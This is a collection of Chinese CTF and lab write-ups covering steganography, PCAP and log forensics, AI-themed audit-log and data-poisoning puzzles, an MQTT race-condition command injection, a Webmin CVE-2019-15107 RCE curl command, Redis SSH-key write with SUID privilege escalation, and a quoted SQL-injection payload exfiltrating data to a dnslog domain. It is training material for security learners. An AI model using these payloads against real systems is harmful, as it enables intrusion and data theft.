核心思路更正: `secret.txt` 根本没有被 ZipCrypto 加密。ZIP 的 local header 与 central directory 中 general-purpose flag bit 0 (`flag_bits=0x1`) 是伪造的标志位, 它让 Bandizip、Python zipfile 以及此前所有自写校验程序都先跳过“12 字节加密头”, 于是任何口令都不可能解出真正的明文。正确的做法是把偏移 4,996 起的全部 113 字节当作一条 raw DEFLATE 流直接解压。

逐步推理与复现:

1. 解析 PNG 与 ZIP 边界: ZIP local header 在偏移 4,956; 按文件名长度与 extra field 长度计算出数据起始偏移 4,996; 关键字段 `method=8`、`compress_size=113`、`file_size=113`、`CRC32=9d13b619`、`flag_bits=0x1`。2. 取出完整 113 字节载荷, 直接调用 `zlib.decompress(data, wbits=-15)` 按 raw DEFLATE 解压, 不跳过任何字节。3. 解压得到 113 字节明文, 其 CRC32 为 9d13b619, 与 local header 和 central directory 完全一致——**流尾标志、长度、CRC 三项互证**, 这才是“解出明文”的证据。4. 反向验证: 跳过前 12 字节再解压会报 `invalid block type`; 那 12 个字节 (0dc8b10ec2201000d09daf38) 本身就是 DEFLATE 数据的一部分, 不是 ZipCrypto 的随机加密头。

解出的明文:

```
Congratulations! You found the secret.
Here is your reward:
ZmxhZ3s0YTMxY2FjOWE2NmE4ZTM5OTY5M2Y1NDNhOGM2NmZiOH0=
```

对最后一行严格 Base64 解码得到 `flag{4a31cac9a66a8e399693f543a8c66fb8}`，符合 `flag{}` 加 32 位小写十六进制字符的格式。

为什么此前数百万次口令穷举全部无效：自写 C 穷举程序对这 12 个 DEFLATE 字节运行 ZipCrypto 解密器，并用 CRC 高字节 `0x9d` 的单字节门槛筛选，所谓“命中”只是错误模型下的随机校验碰撞；`ZipFile.read(..., pwd=...)` 同样按伪标志跳过前 12 字节，因此无论口令是否正确都不可能验证出真正的明文。所有以“破解 ZipCrypto 密码”为目标的候选数与排除结论对本题不成立，不能据此声称已穷举真实密码空间。与口令无关的检查——PNG 区块 CRC、附件哈希、几何测量、位平面与滤波器统计——仍然是各自范围内的有效观测，只是它们都不是本题的载荷。

本题的教训：隐写题里“看起来像标准格式”的标志位本身可能就是伪造的；任何依赖该标志的工具链都会被带偏。判断是否真加密，应直接对原始字节做解压尝试并用 CRC 复核，而不是先相信标志位。

Flag: `flag{4a31cac9a66a8e399693f543a8c66fb8}`。

复现材料：脚本 题目资料/像素囚笼1/分析脚本/`solve_pixel_fakezip.py`，明文 题目资料/像素囚笼1/分析脚本/`recovered_secret.txt`，完整命令与输出见 记录/题目记录/杂项与数字取证/583_像素囚笼1/原始分件/续攻-Pixel交叉检查.txt 与 记录/题目记录/杂项与数字取证/583_像素囚笼1/原始分件/限时攻关-Pixel-终端记录.txt。原始 PNG 未被修改。

3.4 2026 安网杯-可疑流量分析 (ID #584)

题目信息：玄机 ID #584；类型 MISC；难度中等。

零基础知识点：DNS 查询也能承载数据。分析 PCAP 时先按协议和域名家族分流，再恢复序号、去重并按编码规则解码；Base32 长度决定补位方式。

- 附件：challenge.pcap
- Flag: `flag{242bddd09b6769d2e48404f6e70d38d}`

ZIP 只有 challenge.pcap；没有运行附件代码。

ZIP SHA-256: `1DA68FF7021F1A3294C2D6BFEC355564A2DBF5BCC96C33451D9D9422AE1B5AFA`

解压后 PCAP 为 693571 字节，SHA-256: `B426473FC5838490B9F2F4B77A91FD68CE182B5B07A7BFD0008C63A93CF46025`

系统没有 tshark、Wireshark、tcpdump，也没有 scapy/dpkt/pyshark。

全局头解析结果：(2712847316, 2, 4, 0, 0, 262144, 276)

magic `d4 c3 b2 a1` 表示小端 PCAP；linktype 276 为 Linux cooked capture v2 (SLL2)，每帧链路层头 20 字节。按 PCAP 记录长度读取后得到 3076 包，其中 TCP 2804、UDP 262。

端点与服务：

- 172.29.50.100: 客户端工作站
- 172.29.50.10:80: 内部门户

- 172.29.50.20:21: FTP, 使用 30000 段被动数据端口
- 172.29.50.30:53/UDP: DNS
- 172.29.50.40:3306: MySQL

HTTP 客户端 69 个请求只访问 /、/index.html、/about.html。两类服务器页面介绍内网门户、FTP 文件服务和 MySQL 开发数据库, 没有 HTML 注释或 Flag 文本。

FTP 控制流反复使用 USER ctouser 和 PASS ctfpass123, 命令包括 NLST、PWD、RETR readme.txt。被动数据只传回 readme.txt 文件名和 “Welcome to FTP server! This is a project documentation file.”。这说明账号口令以明文传输, 但不是本题 Flag 来源。

MySQL 连接先有 SSLRequest, 随后进入 TLS。没有会话密钥, 因此无法读出 TLS 内的 SQL, 不能把密文猜成明文。

DNS 共 131 个请求、66 个唯一名称。普通业务域名返回公网地址, 例如 google.com -> 142.250.80.46、baidu.com -> 110.242.68.66。另有一波短时间高频随机子域名, 分布在 cdn-static.xyz、cdn-edge.io、cdn-assets.net、static-cdn.xyz 等近似 CDN 域名下; 这些名称都解析到 10.10.10.1。

随机子域名、集中出现的时间窗口和共同 sinkhole 地址构成异常信号。将同一可疑 DNS 家族分开分析后, cdn-static.xyz 提供了从 00 到 10 的完整分片序列。

去除每个标签开头两位序号后, 按编号排序并对相同 QNAME 去重:

- 序号: 00; 数据片段: MZWGCZ
- 序号: 01; 数据片段: 33GI2D
- 序号: 02; 数据片段: EYTEMR
- 序号: 03; 数据片段: SGIMBZ
- 序号: 04; 数据片段: MI3DON
- 序号: 05; 数据片段: RZMQZG
- 序号: 06; 数据片段: KNBYGQ
- 序号: 07; 数据片段: YDIZRW
- 序号: 08; 数据片段: MU3TAZ
- 序号: 09; 数据片段: BTHBSH
- 序号: 10; 数据片段: 2

连接后为 61 个 Base32 字符: MZWGCZ33GI2DEYTEMRSGIMBZMI3DONRZMQZGKNBYGQYDIZRWMU3TAZBTHBSH2

$61 \bmod 8 = 5$, 所以补 3 个等号作为 Base32 填充, 解码输出: flag{242bddd09b6769d2e48404f6e70d38d}

正文有 32 个小写十六进制字符, 符合题目格式。按时间混合不同域名家族会得到无意义字节; 只有按 cdn-static.xyz 家族筛选、去重并按序号排序, 才能还原完整文本。

- Python REPL 补录: 可疑流量分析-终端 REPL 补充记录.md

3.5 2026 安网杯-班次邮戳 (ID #585)

题目信息：玄机 ID #585；类型 MISC；难度中等。

零基础知识点： PNG 像素由多个颜色通道组成。最低有效位 (LSB) 隐藏信息时，先依据题目线索选区域和通道，再按位序打包字节。

- 附件：stamp.png (360×240 RGB PNG)
- Flag：flag{2b250f5b7fcfbfa8ce5da68f26aa5483}

本题的关键信息藏在邮戳图像的像素最低位。PNG 的文字注释给出方向：“邮戳是冷色油墨，字在戳面上。”因此重点是区分蓝色印泥和暖色纸面，再在印泥像素中读取蓝色通道最低位。

压缩包班次邮戳附件.zip 为 160,365 字节，SHA-256：

651F3AD412CED6FDF09D664BE51FA19FC016C60641CE2FBEFC71F8F249382CAB

用 tar -tf 确认压缩包只含 stamp.png，再用 Expand-Archive 解压到：

C:\Users\mzj\Desktop\CTF\班次邮戳-附件\stamp.png

解压文件 160,127 字节，SHA-256：977584561F17C43A26A8047AEBE1DC25B14D407962B942BD4BB3E5B06267B0BD

整个附件只是一张图片；没有执行任何附件代码。

先用图像查看器观察 stamp.png：画面是一张带噪声的暖色底图，右侧有蓝色圆形印章，印章字样为“夜班”。初步判断可能是 LSB 隐写，但不能仅凭外观决定通道、像素范围和读取顺序。

PowerShell System.Drawing 与 Pillow 都确认图像尺寸为 360×240，RGB、24 位色深、96 DPI。Pillow 读到 PNG 注释：

邮戳是冷色油墨，字在戳面上。

把这句话拆成操作线索：

1. “戳面上”提示应先选出邮戳区域，而非把暖色底图全部混入。
2. “冷色油墨”提示比较 RGB 通道；蓝色通道应显著强于红色通道。
3. 题目可能把数据藏在被选中的蓝色印泥像素最低位中。

PNG 块解析结果为 IHDR、iTXt、三个 IDAT、IEND。iTXt 长度为 54 字节；没有附加在 IEND 后的尾随数据。该注释不是 flag，而是通道选择线索。

图片为 360×240，邮戳中心约在 (250,120)，可视圆形半径约 65 像素。对这个圆形范围统计后，范围内有 13,237 个像素、42 种颜色；最常见印泥色为 RGB (36,58,196)，共 12,120 个像素。冷蓝印泥的蓝分量明显高于红分量。

先统计该圆区各颜色通道最低位为 1 的像素数，R/G/B 分别为 140、162、9。随后试做圆区内 RGB 交错读取，得到的开头为无效二进制数据（现场显示以 04 80... 开始），没有 flag。这一步说明“在章内读最低位”的大方向虽合理，但把三个通道交错排列并不符合本题嵌入方式。

根据 PNG 注释与像素颜色分布，使用条件：

```
blue_mask = (B - R > 80)
```

其中 B、R 分别是每个像素的蓝、红分量。差值阈值 80 用来筛出蓝分量明显占优的像素。该掩码命中 15,597 个像素，主要覆盖蓝色印泥；这比用圆形包围区域更精确，也排除了许多圆外纸面噪点。

接着仅按行优先顺序遍历 blue_mask 命中的像素，读取蓝色通道最低位。把每 8 位按 MSB-first 打包成一个字节，检查 ASCII 结果。输出开头直接出现：

```
flag{2b250f5b7fcfbfa8ce5da68f26aa5483}\x00...
```

flag 的结束花括号位于偏移 37，连同 flag{ 共 38 字节；花括号内正文为 32 个小写十六进制字符。后面的空字节是填充/剩余像素的读取结果，不属于 flag。

正文：

```
2b250f5b7fcfbfa8ce5da68f26aa5483
```

长度 32，字符集合仅包含 0-9 和 a-f；外层格式为 flag{...}。这与现场提取到的连续 ASCII 字符串一致。

```
flag{2b250f5b7fcfbfa8ce5da68f26aa5483}
```

```
C:\Users\mzj\Desktop\CTF\班次邮戳-终端命令与输出回溯.md
```

Python REPL 交互也已与回溯内容区分。

- 先读 PNG 文本元数据，再用图像事实验证提示；注释在这里提供的是“颜色与区域”线索。
- 对多通道隐写不要默认 RGB 交错；先比较各通道的像素统计，并用可解释的掩码隔离目标颜色。
- 行优先顺序和位到字节的位序都会影响输出。这里蓝色通道 LSB 每 8 位按 MSB-first 组成字节，得到清晰的 flag 前缀与标准格式。

第四章

人工智能与数据题（AI）

本类知识点： AI 与数据题的重点是读懂规则和样本字段，保留筛选条件、顺序与排除理由，避免只按关键词或文件行序猜答案。

4.1 2026 安网杯-Prompt Trace (ID #590)

题目信息： 玄机 ID #590；类型 AI；难度中等。

零基础知识点： 结构化日志要按题目规则逐字段筛选；先把通道编号映射成含义，再过滤、排序和拼接，不能把 CSV 行顺序当作题目顺序。

- 题目目标：依据 Guard 系统提示和通道目录，从审计事件中恢复真正写入生产 token 的碎片，按碎片序号拼出 Flag。
- Flag: flag{c4d82a6fd755593832df032275355be0}

这题不是把 CSV 里的所有 crumb 直接拼起来。system_prompt.txt 定义了写入规则，必须同时满足三个条件：

1. lane_id 在 channels.json 中解析为 class=production；
2. decision=block；
3. intent=exfiltrate。

只有合格记录中的 crumb 才是真正的生产 token 碎片。每个 crumb 是 8 个字符，写入前反转字符顺序；shard_idx 是从 0 开始的碎片位置。最后按 shard_idx 从小到大拼接。

之后按以下顺序进行可复现的人工检查：

```
Get-ChildItem -LiteralPath 'D:\Downloads' -File | Sort-Object LastWriteTime -Descending | Select-Object
→ -First 12 Name,Length,LastWriteTime
tar -tf 'D:\Downloads\Prompt+Trace 附件 (1).zip'
Expand-Archive -LiteralPath 'D:\Downloads\Prompt+Trace附件 (1).zip' -DestinationPath
→ 'C:\Users\mzj\Desktop\CTF\Prompt Trace-附件' -Force
Get-ChildItem -LiteralPath 'C:\Users\mzj\Desktop\CTF\Prompt Trace-附件' -Recurse -File | Select-Object
→ FullName,Length
```

压缩包包含 prompt_trace_bundle/README.txt、channels.json、export_meta.json、guard_events.csv、system_prompt.txt。README 默认编码显示乱码后改用 UTF-8 读取；没有运行附件内代码。

```
Get-Content -LiteralPath 'C:\Users\mzj\Desktop\CTF\Prompt Trace-附件\prompt_trace_bundle\README.txt'
→ -Encoding UTF8
Get-Content -LiteralPath 'C:\Users\mzj\Desktop\CTF\Prompt Trace-附件\prompt_trace_bundle\channels.json'
→ -Encoding UTF8
Get-Content -LiteralPath 'C:\Users\mzj\Desktop\CTF\Prompt
→ Trace-附件\prompt_trace_bundle\system_prompt.txt' -Encoding UTF8
Get-Content -LiteralPath 'C:\Users\mzj\Desktop\CTF\Prompt
→ Trace-附件\prompt_trace_bundle\export_meta.json' -Encoding UTF8
Get-Content -LiteralPath 'C:\Users\mzj\Desktop\CTF\Prompt
→ Trace-附件\prompt_trace_bundle\guard_events.csv' -Encoding UTF8
```

- **lane_id:** CH-04; **name:** app-prod-west; **class:** production; **处理:** 可进入候选集
- **lane_id:** CH-11; **name:** redteam-weekly; **class:** redteam; **处理:** 排除: 演练流量不写生产碎片
- **lane_id:** CH-17; **name:** app-prod-east; **class:** production; **处理:** 可进入候选集
- **lane_id:** CH-22; **name:** eval-regression; **class:** eval; **处理:** 排除: 回归流量不写生产碎片

system_prompt.txt 说明: 只有 production、block、exfiltrate 三项同时成立时, 才把当前 8 字符 shard 反转后写入 audit crumb。允许通过的请求、标为 injection 的阻断请求、redteam/eval 通道都不应产出有效生产碎片。空 crumb 是未完成尝试, 应忽略。

先按 channels.json 把 CH-04、CH-17 认定为 production; 再在 guard_events.csv 中筛选 block 且 intent 为 exfiltrate 的记录, 得到恰好覆盖 shard_idx 0、1、2、3 的四条记录:

- **trace_id:** T-021; **lane_id:** CH-04; **decision / intent:** block / exfiltrate; **shard_idx:** 0; 原始 **crumb:** f6a28d4c; 反转后 **shard:** c4d82a6f
- **trace_id:** T-042; **lane_id:** CH-17; **decision / intent:** block / exfiltrate; **shard_idx:** 1; 原始 **crumb:** 8395557d; 反转后 **shard:** d7555938
- **trace_id:** T-014; **lane_id:** CH-04; **decision / intent:** block / exfiltrate; **shard_idx:** 2; 原始 **crumb:** 2230fd23; 反转后 **shard:** 32df0322
- **trace_id:** T-031; **lane_id:** CH-17; **decision / intent:** block / exfiltrate; **shard_idx:** 3; 原始 **crumb:** 0eb55357; 反转后 **shard:** 75355be0

反转示例: T-021 的 f6a28d4c 从右向左读为 c4d82a6f。其余三条按同样规则逐字符反转。碎片必须按 shard_idx 排序, 不能按 CSV 行顺序拼接; CSV 中 shard 2、shard 0 的先后正好不同于拼接顺序。

- T-011、T-038: CH-11 虽是 block/exfiltrate, 但通道类型为 redteam, 排除。
- T-029、T-047: CH-22 虽是 block/exfiltrate, 但通道类型为 eval, 排除。
- T-027: CH-04 属于 production 且 decision=block, 但 intent=injection, 不是 exfiltrate, 排除。
- T-044: CH-17 属于 production 且 decision=block, 但 intent=injection, 排除。
- 其余 allow、translation、handbook、summary、training 等记录不符合完整条件; 空 crumb 也不作为碎片。

按 shard_idx 0 → 1 → 2 → 3 拼接:

```
c4d82a6f + d7555938 + 32df0322 + 75355be0
= c4d82a6fd755593832df032275355be0
```

四片各 8 个小写十六进制字符, 共 32 个字符, 符合题目要求的 flag{32 位小写十六进制字符} 格式。

核心是忠实按策略做三重过滤, 并且把 lane_id 映射到通道类别; 不能把所有看起来像十六进制的 crumb 当成答案。生产数据中还要按 shard_idx 排序后反转每片, 再拼接。附件是文本审计材料, 解题全程静态阅读, 没有运行样本代码, 也没有使用联网搜索。

4.2 2026 安网杯-Poisoned Samples (ID #591)

题目信息: 玄机 ID #591; 类型 AI; 难度中等。

零基础知识点: 数据投毒检测常依赖多个条件同时成立。题目里的触发词、目标标签、顺序号和片段长度应分别验证, 再按显式序号拼接。

附件 ZIP 内有 poisoned_samples_bundle/metadata.json 与 train_samples.csv。metadata 给出触发串 TRIGGER:blue-owl 和目标标签 refund_approved; CSV 把正常样本、含触发串但标签不符的记录、标签相符但无触发串的记录及投毒样本混在一起。

1. 同时筛选 text 包含触发串、label 等于目标标签的行。只按词筛会留下 S-088 (normal); 只按标签筛会留下 S-052 (没有触发串)。2. 再要求 poison_order 是 1 到 4, fragment 长度恰为 8; 重复 order 立即报错。3. 确认序号集合为 {1,2,3,4}, 按 poison_order 升序拼接 fragment。不要依 CSV 行序拼。

```
order  sample_id  fragment
1      S-147     dba8bc3e
2      S-103     ab85d811
3      S-319     4afa9bca
4      S-244     e9203332
flag{dba8bc3eab85d8114afa9bcae9203332}
```

复现命令: python -B labs/platform/solve_591_poisoned_samples.py, 退出码 0。脚本和附件为 labs/platform/solve_591_poisoned_samples.py 与 labs/platform/attachments/591-poisoned-samples.zip。CSV 样本及历史脚本输出见 figures/raw/fig-misc-12-591-csv-head.txt、figures/raw/fig-misc-13-591-solve.txt。

第五章

二进制利用（PWN）

本类知识点： PWN 题先理解服务输入、状态和内存边界；远程请求的时序与本地程序状态可能影响漏洞是否触发。

5.1 第十八届 CISCN 决赛 CTF-车联网安全 mqtt (ID 未确认)

题目信息： 题目 ID 未确认；类型 PWN；难度简单。

零基础知识点： TOCTOU 是检查与使用之间的竞态：服务验证共享字段后若有等待窗口，其他请求可能改写该字段。复现时要理解状态共享和请求时序。

附件 D:\Downloads\mqtt.zip 含 x86-64 PIE 服务及动态库。静态 triage 可见 topic diag / diag/resp、字段 auth、命令 set_vin，以及危险命令拼接字符串 echo -n %s>/mnt/VIN;cat /mnt/VIN。服务 token 哈希为 $h=h*31+(\text{signed char})c$ 。漏洞是检查和使用之间对全局 arg 的 TOCTOU 竞争：

1. payload 设成;cat /flag;id;#，推导 token 054060a8。
2. 发送合法 set_vin 请求通过 token 校验；处理路径随后 sleep 2 秒。
3. 在等待期间重复发送 unknown_command，把共享 arg 改成;cat /flag;id;#。
4. 服务恢复执行时将被覆盖的 arg 拼到 shell 命令，读出 /flag。

远程命令记录为 timeout 100 python3 solve_mqtt.py env.xj.edisec.net 30953。响应摘录：

```
[+] 泄漏 VIN    = b';cat /flag;id;#'  
[+] 推导 token = 054060a8 (hash: h=h*31+(signed char)c)  
[>] 步骤1 (合法 set_vin, 通过校验后 sleep 2s): {"auth": "054060a8", "cmd": "set_vin", "arg":  
→ "1234567890"}  
[>] 步骤 2 (竞争覆盖 arg 全局): {"auth": "054060a8", "cmd": "unknown_command", "arg": ";cat /flag;id;#"}  
[<] diag/resp : b'ret: FLAG{XJ_MrpqTJhm63bmZ87L}uid=1001(ctf) gid=1001(ctf) groups=100 -n ;cat  
→ /flag;id;#>/mnt/VIN;cat /mnt/VIN'  
[!] 命中 flag: FLAG{XJ_MrpqTJhm63bmZ87L}  
[+] EXPLOIT SUCCESS
```

本地假 broker 另以 flag{local_test} 验证竞态控制。本题没有持久化的 solve_mqtt.py 源码，但远程和本地终端原始输出仍在 figures/raw/fig-pwn-27-mqtt-triage.txt、fig-pwn-28-mqtt-local.txt、fig-pwn-29-mqtt-remote.txt；保留远程返回的大写 FLAG。

第六章

渗透与服务安全

本类知识点：渗透题需要把服务版本、配置、访问权限和漏洞前置条件对应起来，并用可观察的响应确认每一步。

6.1 webmin 未授权远程代码执行漏洞（ID #428）

题目信息：玄机 ID #428；类型渗透；难度入门。

零基础知识点：Webmin 漏洞利用依赖具体版本、配置和表单错误分支。先用无害标记验证命令执行，再读取目标文件；HTTP 200 本身不等于利用成功。

HTTP banner 是 MiniServ/1.920，页面指示 Webmin 1.920 on Ubuntu Linux 24.04.3。

CVE-2019-15107 的 password_change.cgi 在受影响构建的错误密码分支执行表单内容。Rapid7 官方 Metasploit 模块说明受影响版本 1.890–1.920；对 1.900–1.920，expired-password changing 必须启用；模块会将命令同时放入 expired 和 old，并把 new1/new2 设成相同 token。早期仅把命令放在 old 的失败探测因此没有触发。

先以无害命令 echo WPMARKER7 验证响应中出现该 marker，然后读取题目要求的 flag。成功命令：

```
curl.exe -sS -i --max-time 12 `
-H 'Cookie: redirect=1; testing=1' `
-H 'Referer: http://43.192.167.19:10000/' `
--data-urlencode 'user=root' --data-urlencode 'pam=' `
--data-urlencode 'expired=cat /root/flag.txt' `
--data-urlencode 'old=cat /root/flag.txt' `
--data-urlencode 'new1=WPMARKER8' --data-urlencode 'new2=WPMARKER8' `
'http://43.192.167.19:10000/password_change.cgi'
```

响应原文摘录：

```
HTTP/1.0 200 Document follows
Server: MiniServ/1.920
```

```
<center><h3>Failed to change password : The current password is
→ incorrectflag{e6d4db165611d5ec9be0f89c2a95fc8b}
</h3></center>
CURL_EXIT=0
```

错误密码文字仍显示，但紧跟着的 flag 是服务端命令输出。命令/完整响应保存在记录/WP 补全-资料普查记录.txt。漏洞字段与版本条件可对照 Rapid7 Webmin backdoor module。

6.2 Redis 未授权导致远程代码执行（ID #442）

题目信息：玄机 ID #442；类型渗透；难度简单。

零基础知识点：Redis 未授权意味着网络可达且无需认证就能改配置。把数据库目录和文件名组合成写文件能力后，是否能提权还取决于服务账户权限与 SUID 程序。

来源是玄机平台用户“琅琊”于 2026-06-16 发布的公开 Writeup，不是步骤以 <靶场IP> 表示。

1. 连接 6379 检查未授权访问：redis-cli -h -p 6379 PING 返回 PONG；INFO SERVER 查看版本；CONFIG GET dir 得到 /var/lib/redis。2. 本地生成 SSH keypair，把公钥以空行包裹后暂存到 Redis 键中，确保 Redis 保存时 authorized_keys 的行格式有效。3. 将 Redis dir 指向 /var/lib/redis/.ssh，dbfilename 设为 authorized_keys，SAVE 将键内容序列化到 SSH 授权文件。4. 使用本地私钥 SSH 为 redis 用户登录。通过 find 检查 SUID 程序，公开 Writeup 中的环境存在可用的 SUID find。5. 借 find -exec 调用 cat /root/flag.txt，读取 root flag。

公开 Writeup 给出的 flag：flag{Redis_RCE_PrivEsc_Success}。来源页：玄机平台公开 Writeup。

第七章

安全事件响应

本类知识点：应急响应题按时间、来源、请求和受影响对象串联证据；解码后的字段要放回原始请求上下文解释。

7.1 2026CCF-Sql 注入的应急排查（ID #450）

题目信息：玄机 ID #450；类型应急响应；难度中等。

零基础知识点：带外（OAST）注入会把查询结果拼进 DNS 或 SMB 名称。URL 解码后要区分数据库名、回连域名和请求路径，并根据 SQL 与 UNC 路径上下文识别目标字段。

题面描述企业告警显示大量 SQL 注入扫描，并且数据库服务器有异常 DNS 查询；要求从 Web access.log 中找出攻击者用于接收外带数据的域名。附件 ZIP 内是 access.log，大小 7,429,752 字节，保存于题目资料/Sql 注入的应急排查 _450/access.log。

普通日志里多数是被 WAF 拦截的布尔型 SQL 注入尝试。依照题面关于异常 DNS 查询的提示，先用 dns、oast、interactsh、load_file、dnslog、extractvalue、updatexml、concat 等关键词筛选。计数显示 load_file 或 dnslog.cn 命中仅 1 条；第 43271 行来自 203.0.113.88，时间为 20/May/2024 14:02:30 +0800，状态码 200。

将 URL 编码的 query 解码，得到：

```
1' AND (SELECT load_file(concat('///',(select database()),'.p9fin2.dnslog.cn\abc')))
```

load_file 从拼接的 UNC 路径读取资源。数据库名被放到域名标签前，后缀接到题目指定的 DNSLog 域名；数据库服务器若尝试解析该路径，就会触发外部 DNS/SMB 名称解析，攻击者便能从 DNS 请求提取拼接进去的数据。针对该条唯一请求，题目指定的外带接收域名是 p9fin2.dnslog.cn，而不是数据库名或请求路径。

最终 flag：

```
flag{p9fin2.dnslog.cn}
```

- 原始附件：题目资料/Sql 注入的应急排查 _450/access.log

7.2 2026CCF-被入侵的数据库（ID #451）

题目信息：玄机 ID #451；类型应急响应；难度中等。

零基础知识点：应急日志分析要按来源 IP、时间和请求路径串联攻击步骤。十六进制文本解码成 ASCII 后，结合 SQL 查询上下文确认字段含义。

玄机题面说明企业 Web 应用服务器日志记录了数据泄露事件，要求识别攻击者访问的数据库名称。附件 ZIP 内只有 access.log，解压后大小 390,388 字节，路径为题目资料/被入侵的数据库 _451/access.log。

日志内普通爬虫、404、目录探测很多，不能仅凭出现 select 就判定为有效 SQL 注入。先筛选 database、information_schema、union、select、sleep 等关键词，再按同一攻击源和时间把请求串起来。重点流量来自 192.168.1.100 对 /test/login.php 的连续访问：

1. 第 3608 行以 UNION 查询 INFORMATION_SCHEMA.TABLES，条件使用十六进制 schema 值 0x6c6f67696e5f6462。2. 第 3613 行查 INFORMATION_SCHEMA.COLUMNS，过滤同一 schema 下的 secret 表字段。3. 第 3615 行继续从 login_db.secret 读取 flag 和 id。4. 第 3617 行枚举 login_db.users 的列；第 3619 行读取其 password、created_at、id、username 等字段。

把 hex 值按 ASCII 解码：

```
6c 6f 67 69 6e 5f 64 62 -> login_db
```

同一名称既用在 INFORMATION_SCHEMA 过滤条件中，也用于 secret 与 users 两张表的直接查询，因此不是单一字符串巧合。题目目标是恢复数据库名，最终 flag 是：

```
flag{login_db}
```

- 原始附件：题目资料/被入侵的数据库 _451/access.log